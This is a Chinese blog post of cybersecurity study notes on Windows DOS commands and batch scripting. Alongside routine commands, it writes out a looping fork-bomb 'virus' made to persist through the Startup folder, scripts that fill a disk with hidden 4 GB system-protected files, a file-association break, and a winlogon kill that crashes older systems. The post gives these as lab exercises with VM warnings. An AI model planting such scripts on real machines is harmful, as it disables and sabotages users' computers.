【网络安全学习笔记】day3 DOS命令&批处理

编程入门 行业动态 更新时间:2024-10-17 22:26:45

三、DOS命令&批处理

  • 一级目录
    • 二级目录
      • 三级目录
    • (一)DOS命令
      • 1、如何操作DOS命令
      • 2、基本命令
      • 3.目录相关命令
      • 4.文件相关
      • 5. shutdown 定时操作
      • 6. 重定向符号
    • (二) 批处理编写
      • 1.批处理作用
      • 2.如何创建批处理
      • 3.批处理的基本语法
        • ① echo
        • ② @echo off
        • ③ pause
        • ④ title
        • ⑤ echo. (※ 点前没有空格)
        • ⑥ ping -n 数字 IP地址
        • ⑦ set
        • ⑧ :区块名
        • ⑨ goto 区块名 跳转区块
        • ⑩ start 打开程序/网址
        • ①① copy 文件A 目录B 将文件A复制到目录B
        • ①② 系统定义变量 userprofile
        • ①③ % 变量 % 取变量的值(引用变量)
        • ①④ ntsd -c q -pn 进程名称 (针对xp和2003系统,其他win7/10系统不可用)
        • ①⑤ taskkill /im 进程名称 /f 强制杀死指定进程
        • ①⑥ taskkill /im explorer.exe /f 杀死桌面进程
      • 4.综合案例
        • 案例1:第一版:编写一个简单的三行病毒脚本
        • ❤ 案例2:加强版:电脑一开机就执行次↑↑↑脚本程序:
        • 案例3:编写一个清理磁盘垃圾脚本:
        • 案例4:快速生成文件,占用磁盘空间
        • ❤案例5:加强版:创建大文件并隐藏为系统保护文件
        • 案例6:编写定时关机小程序(练习变量的基本用法)

个人学习笔记

三、DOS命令&批处理

  • 一级目录
    • 二级目录
      • 三级目录
    • (一)DOS命令
      • 1、如何操作DOS命令
      • 2、基本命令
      • 3.目录相关命令
      • 4.文件相关
      • 5. shutdown 定时操作
      • 6. 重定向符号
    • (二) 批处理编写
      • 1.批处理作用
      • 2.如何创建批处理
      • 3.批处理的基本语法
        • ① echo
        • ② @echo off
        • ③ pause
        • ④ title
        • ⑤ echo. (※ 点前没有空格)
        • ⑥ ping -n 数字 IP地址
        • ⑦ set
        • ⑧ :区块名
        • ⑨ goto 区块名 跳转区块
        • ⑩ start 打开程序/网址
        • ①① copy 文件A 目录B 将文件A复制到目录B
        • ①② 系统定义变量 userprofile
        • ①③ % 变量 % 取变量的值(引用变量)
        • ①④ ntsd -c q -pn 进程名称 (针对xp和2003系统,其他win7/10系统不可用)
        • ①⑤ taskkill /im 进程名称 /f 强制杀死指定进程
        • ①⑥ taskkill /im explorer.exe /f 杀死桌面进程
      • 4.综合案例
        • 案例1:第一版:编写一个简单的三行病毒脚本
        • ❤ 案例2:加强版:电脑一开机就执行次↑↑↑脚本程序:
        • 案例3:编写一个清理磁盘垃圾脚本:
        • 案例4:快速生成文件,占用磁盘空间
        • ❤案例5:加强版:创建大文件并隐藏为系统保护文件
        • 案例6:编写定时关机小程序(练习变量的基本用法)

一级目录

二级目录

三级目录

(一)DOS命令

1、如何操作DOS命令

① 开始—运行—输入cmd–回车,将调出C:\windows\system32\cmd.exe
或者
② Win + R —运行—输入cmd–回车

2、基本命令

  • color
    • 作用:修改控制台背景和颜色
    • ※ 第一个数表示背景颜色,第二个数表示字体颜色
    • color f0 背景设置呈亮白色字体黑色
    • color ? 帮助 (查看全部颜色编号)

3.目录相关命令

  • cd… 返回上级目录
    • cd / 返回根目录
  • d: 进入D盘
  • cls 清屏。清空所有dos操作
  • dir 显示当前盘符文件信息
    • dir /a 显示当前磁盘所有包括(隐藏的受保护的)系统文件
  • rd 文件夹 [文件夹 文件夹 …] 删除空文件夹
    • rd /q 无提示删除非空文件夹
    • rd ./s/q 无提示清空磁盘(慎用)

4.文件相关

  • 浏览文件
    • type 文件名.扩展名 显示文件内容
      • type 文件名.扩展名 |more 分页显示 文件(按空格显示下一页)
      • dir 路径\目录名 | more 分页显示目录下的内容
      • |more 分页显示(任何浏览命令后跟 |more 都可以分页显示 ↑↑↑)
			dir  c:\windows  | more    浏览C盘下 windows目录下的文件


  • 创建文件
    • 1)echo 文本内容
      • 将文本内容输出在控制台上(输出一句话)
    • echo 文本内容 >> 文件名
      • 将文本内容保存在文件中 (创建新文件并编辑文件内容),echo每次只能添加一句话
    • 2)copy con 文件名.扩展名 (复制屏幕到文件,con是屏幕意思可以多行文本)
      • 开始编写内容(多行)
      • 文件内容编辑结束按:Ctrl+z退出编辑模式,回车终止编写
    • 3) fsutil file createnew 路径\文件名 数字
      • 在指定路径下创建指定大小的文件(单位字节) 空格占位
      • 快速生成(内容式)空文档(大小不为空) 可以指定文件类型和大小
        • 例 :fsutil file createnew c:\system.ini 数字
        • 该命令可以创建大文件,瞬间占满磁盘空间,再加上attrib隐藏命令,一般用户查询不到磁盘空间变小的原因💗





  • 删除文件
  • 创建文件夹
    • md 文件夹名称 创建文件夹
    • md 文件夹A 文件夹B 创建两个文件夹A和B
    • ❤ 若文件名或者路径中既有变量又有特殊符号时,可以在文件名或路径的前后加双引号括起来表示一个整体(固定用法)
  • 移动、复制操作
    • ren 旧名 新名 重命名
    • move 原地址 新地址 移动
    • copy 原地址 目的地址 复制粘贴
  • attrib 修改文件或文件夹属性 命令
    • attrib +h 文件全名/文件夹名 #隐藏文件/文件夹 (h表示隐藏 )
    • attrib -h 文件全名/文件夹名 取消隐藏文件/文件夹
    • attrib +h +s +a 文件名 将文件夹隐藏并提升为被系统保护的文件
    • 注释:+改为 - 为取消修改文件属性
      • +h 表示隐藏
      • +a 表示 只读属性(用户不能修改)
      • +s 表示提升为受保护的系统级文件
        • 就算在文件夹选项中显示所有隐藏文件 ,该文件依然处于隐藏状态)
        • 只有将“隐藏受保护的操作系统文件”取消勾选,普通用户才能查看
  • assco 修改关联性
    • 作用:修改程序的关联性(原有的.txt文件用记事本打开,.mp3格式用音乐播放器打开,系统内部有默认的关联属性)
    • assoc .txt=exefile
      • 将.txt格式结尾的文件修改为.exe的可执行程序文件(系统将认为所有txt格式的文件也是可执行文件运行,打乱计算机的关联性)
    • 千万不能修改 .exe ,会损坏系统
    • assoc .txt=txtfile 恢复(将前后的格式写一直 就可以恢复)

5. shutdown 定时操作

  • shutdown -s -t 100 定时关机 (时间单位:秒)100秒后关机
  • shutdown -s -f -t 100 定时强制关机(时间单位秒) 100秒后强制关机
  • shutdown -r -t 秒 定时重启,同上加-f,为强制重启
  • shutdown -a 取消一切定时任务
  • shutdown -l 注销,通logoff命令相同
  • **shutdown -s -f -t 100 -c “文本内容” ** 100秒后强制关机并显示 “ 文本内容 ”
    • -s 关机(只能通过命令解除)
    • -r 重启
    • -t 数字 指定时间 (单位:秒)
    • -a 取消一切定时任务
    • -l 注销=logoff
    • -f 强制(时间一到无任何提示执行关机/重启)
    • -c “ 字符串 ” 制定提示字符串

6. 重定向符号

1>       正确输出
2>       错误输出
>>       追加
>         覆盖

电脑不显示文件扩展名怎么调 【文件夹选项-查看】

将“隐藏已知文件类型扩展名”的复选框取消勾选。
※ 电脑中隐藏的文件/文件夹如何显示

在“隐藏文件和文件夹”下勾选
“显示隐藏的文件、文件夹和驱动器”

(二) 批处理编写

1.批处理作用

  • 自上而下成批的处理每一条命令,直到执行最后一行!(处理命令、脚本)
  • 不管某条命令执行成功与否,都会继续执行下一条命令
  • 在Windows中是批处理文件
  • 在Linux中shell命令编写的为shell脚本

2.如何创建批处理

  • 扩展名:.bat
  • 创建方法:
    • 新建一个记事本文件,然后将扩展名改为 .bat
    • 右键编辑,在里面编写命令,保存
    • 双击文件执行
  • 注:修改扩展名时,需要将文件的扩展名显示出来后再进行修改。
  • 案例:新建一个记事本文件,然后将扩展名改为把他,内容如下:
    • d: //切换盘符到底盘
    • cd / //进入根目录
    • cd tmp //进入tmp目录
    • del ./s/q //无提示删除所有文件

3.批处理的基本语法

① echo

  • 作用:输出显示文本
    • 可以显示文本但是显示结果有太多重复路径 并不好看

② @echo off

  • 作用:关闭回显功能,也就是屏蔽过程(所有命令不现实路径和执行过程,只显示结果),建议放在批处理的首行

③ pause

  • 作用:暂停批处理运行(先不执行后面的命令,防止页面一闪而过,看不到执行结果)
  • 案例:

④ title

  • 作用:为批处理脚本设置显示标题

⑤ echo. (※ 点前没有空格)

  • 作用:在智行批处理脚本时,(运行结果)可以空一行
@echo off
title 柒柒小程序
echo =================
echo. 
echo 欢迎使定时关机小程序
echo. 
echo ==========================
pause

⑥ ping -n 数字 IP地址

  • 作用:发送指定的数据包数 (默认4个数据包,发多个可以达到延迟的效果)
ping -n 10  127.0.0.1  测试本机发送10个数据包
ping -n 10  127.0.0.1 >nul 2>nul   控制台不现实ping的过程
>nul    是指正确结果用nul覆盖 ,结果显示为空
2>nul   异常结果(错误输出)也输出为nul  结果显示依然为空
  • so ping的过程不会在页面显示,页面会卡直到ping通后继续运行,达到延时的效果

⑦ set

  • 作用:设置变量,常用于在脚本中互动赋值。
set   /p  time = 请输入时间:                 互动赋值

/p    变量的值为输入内容                     

%time%                                       引用变量
@echo off
title  柒柒小程序 
echo ========================== 
echo. 
echo 欢迎使定时关机小程序 
echo. 
echo ==========================
set   /p  time = 请输入时间(单位:秒):      // 等待用户输入定时关机时间
shutdown -s -f -t %time%    
echo 定时关机已设置完毕,谢谢使用!
pause

⑧ :区块名

  • 作用:定义一个命令区间,将若干个命令划分成不同区块,
  • 每个冒号开始是一个区块,冒号后面区块名,另起一行写命令
  • 冒号:不是命令,系统也不会执行冒号所在的这句话,但是系统可- - 以识别进入不同的区块,
  • 去掉冒号后,就会变成一个整体命令
  • 冒号单独使用没有任何意义 ,必须和“ goto ”命令一起使用才有意义

⑨ goto 区块名 跳转区块

  • (上一条命令执行完后加上goto区块名)跳转到另一个区块命令
  • 为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论- 少了哪个或多了哪个都会出错。当程序运行到goto时,将自动跳转到:定义的标签部分去执行命令块了,所有:和goto联合起来可以实现在批处理执行时进行跳转功能。

⑩ start 打开程序/网址

  • start 默认打开cmd窗口
  • start 路径\程序名 打开某程序
  • start 网址 打开某网页

①① copy 文件A 目录B 将文件A复制到目录B

①② 系统定义变量 userprofile

  • 作用:值是:当前登录用户的家目录路径

①③ % 变量 % 取变量的值(引用变量)

  • %userprofile% 指当前用户的家目录
  • ❤ 若文件名或者路径中既有变量又有特殊符号时,可以在文件名或路径的前后加双引号括起来表示一个整体(固定用法)
%userprofile%\ Start Menu\Programs\Startup"

copy qq.bat "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

①④ ntsd -c q -pn 进程名称 (针对xp和2003系统,其他win7/10系统不可用)

作用: 强制杀死指定进程(值适用于2003服务器系统)
winlogon.exe 进程名称,是Windows登录进程
ntsd -c q -pn winlogon.exe 针对xp和2003系统的蓝屏重启

①⑤ taskkill /im 进程名称 /f 强制杀死指定进程

①⑥ taskkill /im explorer.exe /f 杀死桌面进程

explorer.exe 桌面进程

4.综合案例

案例1:第一版:编写一个简单的三行病毒脚本

:w          // 区块w
start      // 打开cmd窗口
goto w    // 跳转到w区块  (循环打开cmd窗口,然后死机)

※ 注意不要在真实机中执行,在虚拟机中执行前做好文档备份,会死机!!!

❤ 案例2:加强版:电脑一开机就执行次↑↑↑脚本程序:

可以将脚本文件存放在电脑的系统启动程序中,可以达到每次开机都执行该脚本的效果(会损坏系统的启动程序,切勿在真实机中进行)
※ 启动程序的路径:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\「开始」菜单\程序\启动
路径默认是以Administrator登录的方式,要是对方用其他用户登录,这个路径就会失效,因此可以用系统变量 userprofile 来代替当前登录用户的家目录(Administrator前面的部分),此时无论用任何用户登录系统都会进入对应的启动文件

copy qq.bat "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" 
将qq.bat文件复制到启动程序中 
:w        // 区块w
start      // 打开cmd窗口
goto w     // 跳转到w区块  (循环打开cmd窗口,然后死机)


※ 此时每次用户开机,就会执行此程序,循环打开cmd窗口,直到死机。若未知系统版本可以将win10/7/2008/2003/xp系统路径都复制一遍 ,总有一条命令会成功。

案例3:编写一个清理磁盘垃圾脚本:

@echo  off                             // 关闭回显
color 0a                              // 更换控制台显示颜色
title  Garbage cleaning procedures         // 更改窗口显示标题
echo.                                    // 输出空行
echo *******************************      //输出*  用于分割装饰
echo.
echo Can clean up the system garbage,     // 输出字符串 用于说明脚本作用
echo if intercepted, please release         
echo.
echo *******************************
pause                                     //暂停
echo.
echo garbage is cleanning......   
E:  >nul 2>nul                      // 切换盘符,执行结果不显示到控制台
cd \  >nul 2>nul                    // 进入磁盘根目录,执行结果不显示到控制台
cd tmp  >nul 2>nul                 // 进入tmp目录,执行结果不显示到控制台
del ./s/q  >nul 2>nul              // 删除当前目录下所有文件,执行结果不显示到控制台
rd ./s/q  >nul 2>nul               // 删除当前目录下所有文件夹,执行结果不显示到控制台
ping -n 10  127.0.0.1 >nul 2>nul       // 延时10个数据包
echo.
echo finished!
ping -n 10  127.0.0.1 >nul 2>nul        // 延时10个数据包,看到完成提示,关闭控制台


案例4:快速生成文件,占用磁盘空间

@echo off                                           // 关闭回显  页面不显示执行过程
e:                                                  //切换盘符
cd\                                                //进入根目录
md tmp                                             //创建tmp目录
cd tmp                                              // 进入tmp目录
fsutil file createnew e:\tmp\sys.ini  4096000000  >nul 2>nul       (6个0是4个G)
fsutil file createnew e:\tmp\sys0.ini  4096000000  >nul 2>nul    //快速生成一个4G的文件
fsutil file createnew e:\tmp\sys1.ini  4096000000  >nul 2>nul  
fsutil file createnew e:\tmp\sys2.ini  4096000000 >nul 2>nul  
fsutil file createnew e:\tmp\sys3.ini  4096000000 >nul 2>nul  
pause                                                // 暂停查看结果



※ 可以配合清理垃圾脚本清空

❤案例5:加强版:创建大文件并隐藏为系统保护文件

@echo off
e:
cd\   
md tmp 
cd tmp 
fsutil file createnew e:\tmp\sys.ini  4096000000  >nul 2>nul      
fsutil file createnew e:\tmp\sys0.ini  4096000000 >nul 2>nul 
fsutil file createnew e:\tmp\sys1.ini  4096000000 >nul 2>nul  
fsutil file createnew e:\tmp\sys2.ini  4096000000 >nul 2>nul  
fsutil file createnew e:\tmp\sys3.ini  4096000000 >nul 2>nul 
cd..                                 // 返回上级目录 退出tmp目录(这一步容易忘)
attrib +h +s +a tmp             // 隐藏tmp目录并提升为受系统保护的文件
pause  



※ 将大文件隐藏后,一般不可查询到,可用dir -a命令显示全部或通过“文件夹选项”调出隐藏文件。

案例6:编写定时关机小程序(练习变量的基本用法)

@echo off
title  柒柒小程序
color 0a

:menu
cls
echo *********************************************
echo.
echo                 菜单
echo              1.定时关机
echo              2.取消定时 
echo              3.添加QQ.bat文件到启动程序(每次开机时循环打开cmd命令)
echo              4.退出
echo.
echo ***********************************************

set   /p  num =选择菜单:
if  "%num%" =="1"  goto  tu
if  "%num%" =="2"  goto  ca
if  "%num%" =="3"  goto  ad
if  "%num%" =="4"  goto  ou

echo  只能输入菜单编号:
pause                // 暂停 ,防止直接进如区块1,顺序执行区块命令
goto menu

:tu
set   /p  y= 请输入关机时间(单位:秒):    // 定义变量y,用户自定义关机时间
shutdown  -s -f -t   %y%                //引用变量
goto menu                               // 跳转到菜单

:ca
shutdown  -a                             // 取消定时
echo menu

:ad
echo :w  >>"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QQ.bat"   
                  // 将“w”保存到QQ.bat文件中并将文件保存在启动程序中
echo  start >>"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QQ.bat"
                  // 将“start”保存到QQ.bat文件中并将文件保存在启动程序中
echo goto w >>"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QQ.bat"
                  // 将“goto w”保存到QQ.bat文件中并将文件保存在启动程序中
echo 脚本制作完成,下次开机启动
                //※ 2 区块 在启动程序中生成一个“QQ.bat”程序,每次开机/重启就会执行此文件,循环打开cmd窗口并死机。

:ou
exit

☆ 以上内容仅供学习使用,勿做他途


往期博客
【网络安全学习笔记】day1 VM虚拟架构与系统部署
【网络安全学习笔记】day2 IP地址详解
本期博客
【网络安全学习笔记】day3 DOS命令&批处理

下期博客

【网络安全学习笔记】day4 用户与组管理
【网络安全学习笔记】day5 服务器远程管理

【网络安全学习笔记】day6 NTFS权限概述

更多推荐

【网络安全学习笔记】day3 DOS命令&批处理

本文发布于:2023-06-14 00:03:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1416035.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:批处理   网络安全   学习笔记   命令   DOS

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!